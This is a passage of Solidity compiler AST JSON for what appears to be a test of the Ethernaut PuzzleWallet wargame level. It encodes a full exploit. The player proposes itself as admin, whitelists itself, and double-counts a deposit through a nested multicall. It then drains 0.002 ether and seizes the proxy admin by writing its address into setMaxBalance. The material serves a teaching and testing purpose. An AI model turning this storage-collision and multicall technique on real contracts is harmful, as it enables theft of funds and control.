PuzzleWallet"}],"id":63553,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1682:7:143","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63552,"name":"address","nodeType":"ElementaryTypeName","src":"1682:7:143","typeDescriptions":{}}},"id":63555,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1682:17:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":63550,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1651:19:143","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":63556,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1651:49:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":63549,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1639:11:143","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":63557,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1639:62:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63558,"nodeType":"ExpressionStatement","src":"1639:62:143"}]},"documentation":{"id":63540,"nodeType":"StructuredDocumentation","src":"1503:63:143","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1580:8:143","parameters":{"id":63541,"nodeType":"ParameterList","parameters":[],"src":"1588:2:143"},"returnParameters":{"id":63542,"nodeType":"ParameterList","parameters":[],"src":"1598:0:143"},"scope":63688,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":63687,"nodeType":"FunctionDefinition","src":"1763:767:143","nodes":[],"body":{"id":63686,"nodeType":"Block","src":"1791:739:143","nodes":[],"statements":[{"expression":{"arguments":[{"id":63567,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63437,"src":"1815:6:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63564,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1801:2:143","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63566,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1804:10:143","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1801:13:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63568,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1801:21:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63569,"nodeType":"ExpressionStatement","src":"1801:21:143"},{"expression":{"arguments":[{"id":63580,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63437,"src":"1889:6:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"arguments":[{"arguments":[{"arguments":[{"id":63575,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63433,"src":"1861:8:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}],"id":63574,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1853:7:143","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63573,"name":"address","nodeType":"ElementaryTypeName","src":"1853:7:143","typeDescriptions":{}}},"id":63576,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1853:17:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63572,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1845:8:143","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":63571,"name":"address","nodeType":"ElementaryTypeName","src":"1845:8:143","stateMutability":"payable","typeDescriptions":{}}},"id":63577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1845:26:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63570,"name":"PuzzleProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54369,"src":"1833:11:143","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_PuzzleProxy_$54369_$","typeString":"type(contract PuzzleProxy)"}},"id":63578,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1833:39:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}},"id":63579,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1873:15:143","memberName":"proposeNewAdmin","nodeType":"MemberAccess","referencedDeclaration":54337,"src":"1833:55:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63581,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1833:63:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63582,"nodeType":"ExpressionStatement","src":"1833:63:143"},{"expression":{"arguments":[{"id":63586,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63437,"src":"1931:6:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63583,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63433,"src":"1907:8:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"id":63585,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1916:14:143","memberName":"addToWhitelist","nodeType":"MemberAccess","referencedDeclaration":54458,"src":"1907:23:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63587,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1907:31:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63588,"nodeType":"ExpressionStatement","src":"1907:31:143"},{"assignments":[63593],"declarations":[{"constant":false,"id":63593,"mutability":"mutable","name":"callsDeep","nameLocation":"1964:9:143","nodeType":"VariableDeclaration","scope":63686,"src":"1949:24:143","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":63591,"name":"bytes","nodeType":"ElementaryTypeName","src":"1949:5:143","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":63592,"nodeType":"ArrayTypeName","src":"1949:7:143","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"id":63599,"initialValue":{"arguments":[{"hexValue":"31","id":63597,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1988:1:143","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":63596,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"1976:11:143","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (bytes memory[] memory)"},"typeName":{"baseType":{"id":63594,"name":"bytes","nodeType":"ElementaryTypeName","src":"1980:5:143","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":63595,"nodeType":"ArrayTypeName","src":"1980:7:143","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}}},"id":63598,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1976:14:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"1949:41:143"},{"expression":{"id":63609,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":63600,"name":"callsDeep","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63593,"src":"2000:9:143","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},"id":63602,"indexExpression":{"hexValue":"30","id":63601,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2010:1:143","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2000:12:143","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"expression":{"id":63605,"name":"PuzzleWallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54597,"src":"2038:12:143","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_PuzzleWallet_$54597_$","typeString":"type(contract PuzzleWallet)"}},"id":63606,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2051:7:143","memberName":"deposit","nodeType":"MemberAccess","referencedDeclaration":54483,"src":"2038:20:143","typeDescriptions":{"typeIdentifier":"t_function_declaration_payable$__$returns$__$","typeString":"function PuzzleWallet.deposit() payable"}},"id":63607,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2059:8:143","memberName":"selector","nodeType":"MemberAccess","src":"2038:29:143","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"expression":{"id":63603,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2015:3:143","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":63604,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2019:18:143","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"2015:22:143","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":63608,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2015:53:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"2000:68:143","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":63610,"nodeType":"ExpressionStatement","src":"2000:68:143"},{"assignments":[63615],"declarations":[{"constant":false,"id":63615,"mutability":"mutable","name":"calls","nameLocation":"2094:5:143","nodeType":"VariableDeclaration","scope":63686,"src":"2079:20:143","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":63613,"name":"bytes","nodeType":"ElementaryTypeName","src":"2079:5:143","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":63614,"nodeType":"ArrayTypeName","src":"2079:7:143","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"id":63621,"initialValue":{"arguments":[{"hexValue":"32","id":63619,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2114:1:143","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":63618,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"2102:11:143","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (bytes memory[] memory)"},"typeName":{"baseType":{"id":63616,"name":"bytes","nodeType":"ElementaryTypeName","src":"2106:5:143","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":63617,"nodeType":"ArrayTypeName","src":"2106:7:143","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}}},"id":63620,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2102:14:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"2079:37:143"},{"expression":{"id":63631,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":63622,"name":"calls","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63615,"src":"2126:5:143","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},"id":63624,"indexExpression":{"hexValue":"30","id":63623,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2132:1:143","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2126:8:143","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"expression":{"id":63627,"name":"PuzzleWallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54597,"src":"2160:12:143","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_PuzzleWallet_$54597_$","typeString":"type(contract PuzzleWallet)"}},"id":63628,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2173:7:143","memberName":"deposit","nodeType":"MemberAccess","referencedDeclaration":54483,"src":"2160:20:143","typeDescriptions":{"typeIdentifier":"t_function_declaration_payable$__$returns$__$","typeString":"function PuzzleWallet.deposit() payable"}},"id":63629,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2181:8:143","memberName":"selector","nodeType":"MemberAccess","src":"2160:29:143","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"expression":{"id":63625,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2137:3:143","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":63626,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2141:18:143","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"2137:22:143","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":63630,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2137:53:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"2126:64:143","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":63632,"nodeType":"ExpressionStatement","src":"2126:64:143"},{"expression":{"id":63643,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":63633,"name":"calls","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63615,"src":"2200:5:143","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},"id":63635,"indexExpression":{"hexValue":"31","id":63634,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2206:1:143","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2200:8:143","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"expression":{"id":63638,"name":"PuzzleWallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54597,"src":"2234:12:143","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_PuzzleWallet_$54597_$","typeString":"type(contract PuzzleWallet)"}},"id":63639,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2247:9:143","memberName":"multicall","nodeType":"MemberAccess","referencedDeclaration":54596,"src":"2234:22:143","typeDescriptions":{"typeIdentifier":"t_function_declaration_payable$_t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr_$returns$__$","typeString":"function PuzzleWallet.multicall(bytes calldata[] calldata) payable"}},"id":63640,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2257:8:143","memberName":"selector","nodeType":"MemberAccess","src":"2234:31:143","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"id":63641,"name":"callsDeep","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63593,"src":"2267:9:143","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}],"expression":{"id":63636,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2211:3:143","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":63637,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2215:18:143","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"2211:22:143","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":63642,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2211:66:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"2200:77:143","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":63644,"nodeType":"ExpressionStatement","src":"2200:77:143"},{"expression":{"arguments":[{"id":63650,"name":"calls","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63615,"src":"2326:5:143","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}],"expression":{"id":63645,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63433,"src":"2287:8:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"id":63647,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2296:9:143","memberName":"multicall","nodeType":"MemberAccess","referencedDeclaration":54596,"src":"2287:18:143","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$returns$__$","typeString":"function (bytes memory[] memory) payable external"}},"id":63649,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"302e303031","id":63648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2313:11:143","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"src":"2287:38:143","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$returns$__$value","typeString":"function (bytes memory[] memory) payable external"}},"id":63651,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2287:45:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63652,"nodeType":"ExpressionStatement","src":"2287:45:143"},{"expression":{"arguments":[{"id":63656,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63437,"src":"2360:6:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"302e303032","id":63657,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2368:11:143","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_2000000000000000_by_1","typeString":"int_const 2000000000000000"},"value":"0.002"},{"hexValue":"","id":63658,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2381:2:143","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_rational_2000000000000000_by_1","typeString":"int_const 2000000000000000"},{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"id":63653,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63433,"src":"2343:8:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"id":63655,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2352:7:143","memberName":"execute","nodeType":"MemberAccess","referencedDeclaration":54526,"src":"2343:16:143","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$_t_uint256_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,uint256,bytes memory) payable external"}},"id":63659,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2343:41:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63660,"nodeType":"ExpressionStatement","src":"2343:41:143"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":63670,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63437,"src":"2441:6:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63669,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2433:7:143","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63668,"name":"address","nodeType":"ElementaryTypeName","src":"2433:7:143","typeDescriptions":{}}},"id":63671,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2433:15:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63667,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2425:7:143","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":63666,"name":"uint160","nodeType":"ElementaryTypeName","src":"2425:7:143","typeDescriptions":{}}},"id":63672,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2425:24:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":63665,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2417:7:143","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":63664,"name":"uint256","nodeType":"ElementaryTypeName","src":"2417:7:143","typeDescriptions":{}}},"id":63673,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2417:33:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":63661,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63433,"src":"2394:8:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"id":63663,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2403:13:143","memberName":"setMaxBalance","nodeType":"MemberAccess","referencedDeclaration":54438,"src":"2394:22:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":63674,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2394:57:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63675,"nodeType":"ExpressionStatement","src":"2394:57:143"},{"expression":{"arguments":[{"arguments":[{"id":63678,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63430,"src":"2493:9:143","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":63681,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63433,"src":"2512:8:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract 